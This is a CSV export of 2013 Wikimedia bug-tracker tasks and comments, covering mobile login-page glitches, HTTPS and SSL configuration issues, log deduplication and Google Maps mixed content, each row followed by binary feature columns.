+226502,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",Yeh this is a stylesheet rule. I'm not sure if it is possible to configure images in stylesheets. Of course a rule in Mobile.css could be added to override the icon.,,,1366910032,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+226498,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","After seeing the wgMobileFrontendLogo config I had moved this to the wikimedia product, but then realised meta should already be configured for this. Turns out a couple of stylesheets in the MobileFrontend extension use images/W.png so moving this bug back to that product.",,,1366904469,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+49242,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,"Since https://gerrit.wikimedia.org/r/#/c/58728/2/includes/site/MediaWikiSite.php wfScript is used to construct the API-URL for Http-Requests to other wikis. This makes no sense as wfScript uses local configuration which can lead to a broken URL.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1366019760,1366118210.0,PHID-USER-t4sxxglz6yyrgxeib43i,False,,False,PHID-TASK-fvzswgtua22gqmx5527t,task_description,resolved,True,c2,1,False,False,True,-20,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+227451,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,Change merged.,,,1366118210,,PHID-USER-fl3e5yy5n6ewjsv242bg,False,,,PHID-TASK-fvzswgtua22gqmx5527t,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+227444,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,Related URL: https://gerrit.wikimedia.org/r/59120 (Gerrit Change Id5aaa58f10d513e082b217aeb8d88b8228341a48),,,1366019972,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fvzswgtua22gqmx5527t,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48967,SSL is missing,"**Author:** `dwarika1987`
+
+**Description:**
+http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1
+
+When we are clicking on Secure sign in then getting message like ""Google Chrome's connection attempt to toro.wmflabs.org was rejected. The website may be down, or your network may not be properly configured.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1365273480,1365273911.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_description,resolved,True,c2,1,False,False,True,-21,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+210838,SSL is missing,Please remember that the MediaWiki product is NOT the correct place to file reports about individual sites.,,,1365274272,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+210833,SSL is missing,"
+
+*** This bug has been marked as a duplicate of bug 46962 ***",,,1365273911,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+48963,Tools: Special Pages: Login/Create account link goes to old login page,"**Author:** `anyumousse`
+
+**Description:**
+From Logon page (http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1)
+i chose Tools then Special Pages (http://toro.wmflabs.org/wiki/Special:SpecialPages)then the link for Log In/Create an Account and got the old style login page (http://toro.wmflabs.org/wiki/Special:UserLogin) without the green new account ""Join testwiki"" button.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC",Needs Triage,90.0,1365272220,1365275682.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xum7ntri7xtok253vytv,task_description,invalid,True,c2,1,False,False,True,-21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+210649,Tools: Special Pages: Login/Create account link goes to old login page,"This is expected, as the new interface is only triggered on demand using the URL parameter. When (if) it becomes the default, that link will point to the new interface.",,,1365275682,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xum7ntri7xtok253vytv,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+48962,HTTPS link is shown on toro new login form but HTTPS is not supported,"**Author:** `testingwithfire`
+
+**Description:**
+I'm using the new login process (useAgora in query string).
+
+I have HTTPS Everywhere enabled in FF 19.0.2. I suspect that HTTPS Everywhere may also be buggy on this browser because I see some other unrelated sites that should have HTTPS in the URL don't have it.
+
+When I copy the ""http:"" link for the toro server into the FF location bar, the http disappears and I'm left with something that looks like:
+
+http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1
+
+I also see a ""use secure server"" link, which looks like it's dead:
+
+""Firefox can't establish a connection to the server at toro.wmflabs.org.""
+
+As a user, I would wonder why https:// isn't in the location bar and why I have to click another link to use a secure server. Again, this may be an issue with HTTPS Everywhere.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1365271980,1365557669.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-y53fwso3t3tkl4y7l4da,task_description,resolved,True,c2,1,False,False,True,-21,True,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+210609,HTTPS link is shown on toro new login form but HTTPS is not supported,"The new login form only shows the secure login link if it thinks the wiki server can do HTTPS (and you're not already on HTTPS), so a while ago I intentionally mis-set toro's server configuration to show the link despite it not supporting https. Matthew Flaschen just fixed toro's config.
+
+Thanks for testing!",,,1365557669,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+210605,HTTPS link is shown on toro new login form but HTTPS is not supported,*** Bug 46967 has been marked as a duplicate of this bug. ***,,,1365273911,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+210599,HTTPS link is shown on toro new login form but HTTPS is not supported,"This is a legitimate bug, though it is in fact unrelated to HTTPS Everywhere.  It should not be showing the ""use secure server"" link unless/until HTTPS is supported.  I need to determine if this is a problem with toro's config or the code proper.
+
+HTTPS not being used automatically is not a bug.  MediaWiki lets wikis be conservative about SSL usage, even if SSL is supported.  For instance, WMF has such settings.  This is to avoid overwhelming the SSL servers.",,,1365273174,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,False,,,-21,True,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+210593,HTTPS link is shown on toro new login form but HTTPS is not supported,"HTTPS Everywhere doesn't have a rule for that domain, so it can't be HTTPS Everywhere's fault. I don't think Toro supports HTTPS - even if it did I don't think it could have a valid certificate.",,,1365272547,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+48649,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"- user should not be logged in
+- go to http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
+- click the star in the top-right part of the page (watch icon)
+- ""Please login or sign up to watch this page. Login/Sign up"" section opens at the bottom of the screen
+- click Login link
+- I was expecting login page to open
+- http://meta.wikimedia.org/wiki/Missing_wiki page opens instead
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1364497680,1364558957.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-5hxm2olczto6qo3zb43s,task_description,resolved,True,c2,1,False,False,True,-22,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+216494,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"So the login page is:
+ http://commons.wikimedia.beta.wmflabs.org/wiki/Special:LoginHandshake?useformat=mobile
+
+That redirects to:
+ http://commons.wikimedia.beta.wmflabs.org/wiki/Special:LoginHandshake?useformat=mobile
+
+Which in turns gives a 'Missing Wiki' page. If one goes to http://commons.wikimedia.beta.wmflabs.org/  you get the same page, which means that commonswiki is disabled on beta.
+
+
+A few days ago, I have reduced the number of wikis on beta (see bug 46104, gerrit https://gerrit.wikimedia.org/r/#/c/55889/ ).   commonswiki has indeed been removed there :(
+
+I have readded commons wiki with:
+https://gerrit.wikimedia.org/r/#/c/56593/
+https://gerrit.wikimedia.org/r/#/c/56594/
+
+And refreshed the CDB file:
+
+mwdeploy@deployment-bastion:/home/wikipedia/common$ ./multiversion/refreshWikiversionsCDB 
+/home/wikipedia/common/wikiversions.cdb successfully built.
+
+The wiki is back up:
+http://commons.wikimedia.beta.wmflabs.org/",,,1364558395,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,True,,,-22,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+216486,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"The tests still fail.
+
+Example:
+
+https://wmf.ci.cloudbees.com/job/_debug-MobileFrontend-template/lastCompletedBuild/testReport/(root)/Manage%20Watchlist/Login_link_leads_to_login_page/
+
+https://saucelabs.com/jobs/432ea7d5e5fc49ccb9d2ec0cc55d5ee0",,,1364557059,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+216480,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"I did reproduce the problem using Safari.  Seems the bug has been fixed in the code and that the beta Apaches were still having an old copy of the code.  That was most probably related to GlusterFS being stalled somehow.
+
+I have restarted the apaches instances that were showing a lot of network usage (related to gluster). That seems to have cleaned the stalled files, thus actually serving the new code.",,,1364555498,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,True,,,-22,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+48276,"HTTPS generates two hits in server log, count only one of those","from https://app.asana.com/0/1891117540465/2773569521405
+
+Dec 15, 2012 Diederik van Liere:
+HTTPS traffic poses a second challenge and that is that it generates two hits in the server logs: one nginx hit and on squid hit. Nginx forwards the request to squid and so the squid hit contains the IP address of the Nginx server and not of the original requestor. This means that we will over-estimate the mobile usage from the US and The Netherlands (were the data centers are located). This will affect Andre's country report.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1363612740,1364223713.0,PHID-USER-m5uwh66djeylkim5chfe,False,,False,PHID-TASK-46tnguxz23qate2qrdve,task_description,resolved,True,c2,1,False,False,True,-24,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+217365,"HTTPS generates two hits in server log, count only one of those","We have fixed this by no longer sending SSL traffic to the main udp2log stream but instead sending it to its own destination, see https://gerrit.wikimedia.org/r/#/c/55394/
+
+Because this data is no longer in the main udp2log stream there is also no need to deduplicate it.",,,1364223713,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-46tnguxz23qate2qrdve,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+217356,"HTTPS generates two hits in server log, count only one of those",https://mingle.corp.wikimedia.org/projects/analytics/cards/361,,,1363612835,,PHID-USER-m5uwh66djeylkim5chfe,False,,,PHID-TASK-46tnguxz23qate2qrdve,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+47996,Post-login returnto link is Main page for all articles,"Try the following:
+
+1. Browse mobile site (stable or beta) as a logged out user
+2. Find any article, tap the left navigation menu and tap log in
+3. Enter login credentials. You will be taken to a post login overlay that says ""Return to Main page.""
+
+Now try:
+
+1. Browse mobile site (stable or beta) as a logged out user
+2. Tap the left navigation menu and tap the Watchlist link (or the Uploads link if you're in beta)
+3. Follow links to log in and enter login creds. You will be taken to a post login overlay that says ""Return to Special:Watchlist"" (or ""Return to Special:DonateImage"")
+
+We should make sure users are able to return to the article they were on before entering the login/signup funnel, not just the special pages. Also, we should make sure the that titles of special pages are consistent with the copy on the mobile web – Special:DonateImage should be Special:Uploads – so users won't be confused.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1363030440,1363651195.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-qbcm3pl3dyiajftdszka,task_description,resolved,True,c2,1,False,False,True,-25,True,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+226338,Post-login returnto link is Main page for all articles,and https://gerrit.wikimedia.org/r/53634,,,1363214217,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+226333,Post-login returnto link is Main page for all articles,"Several things going on here.
+Bug 1:
+https://gerrit.wikimedia.org/r/53689
+
+Bug 2:
+https://gerrit.wikimedia.org/r/53688",,,1363214170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+226329,Post-login returnto link is Main page for all articles,"Several things going on here.
+Bug 1:
+https://gerrit.wikimedia.org/r/53689
+
+Bug 2:
+https://gerrit.wikimedia.org/r/53688",,,1363214164,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+47697,Google Maps not working with https,"[blocked] The page at https://translatewiki.net/w/i.php?title=User:Amire80&action=formedit&debug=true ran insecure content from http://maps.googleapis.com/maps/api/js?language=fi&sensor=false.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44224",Needs Triage,90.0,1362404100,1370445784.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-5wgmopzaijiefy3ayail,task_description,resolved,True,c2,1,False,False,True,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+209553,Google Maps not working with https,"(In reply to comment #11)
+> Merged three months ago. Is this bug report FIXED or is there more to do?
+
+The URL works correctly, with everything loaded securely from googleapis.com and no errors in dev tools, as of Chromium 25.0. I've not seen problems with our maps in the last weeks/months, so I think this can be closed.",,,1370445784,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-12,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1
+209546,Google Maps not working with https,"(In reply to comment #9 by Niklas Laxström)
+> https://gerrit.wikimedia.org/r/52220
+
+Merged three months ago. Is this bug report FIXED or is there more to do?",,,1370440432,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1
+209540,Google Maps not working with https,"> Funny that after changing that it now says ""Your browser is not compatible with
+> Google Maps v3."" even though I'm using the latest Chrome.
+
+That will happen when the Google Maps API code does not get loaded. Is this the case after your changes? Seems to work fine for me, in both ff and chromium.",,,1362531075,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1
+209536,Google Maps not working with https,https://gerrit.wikimedia.org/r/52220,,,1362478487,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+209532,Google Maps not working with https,"Funny that after changing that it now says ""Your browser is not compatible with Google Maps v3."" even though I'm using the latest Chrome.",,,1362478436,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+209528,Google Maps not working with https,"Well, by any means go ahead and change it then.",,,1362435845,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+209524,Google Maps not working with https,"Relevant quip: 
+[Relative URIs] They're not not recommended, it just says their usage is rare. Which is a statement that was true in '05, and which we made false in '11. –RoanKattouw",,,1362429880,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+209516,Google Maps not working with https,"All major browsers do support them. I'm unable to find definite resources on this, but MediaWiki uses protocol relative urls a lot without any reported issues that I am aware of.",,,1362429703,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+209508,Google Maps not working with https,"Looks like it is in MapsGoogleMaps3::getApiScript.
+
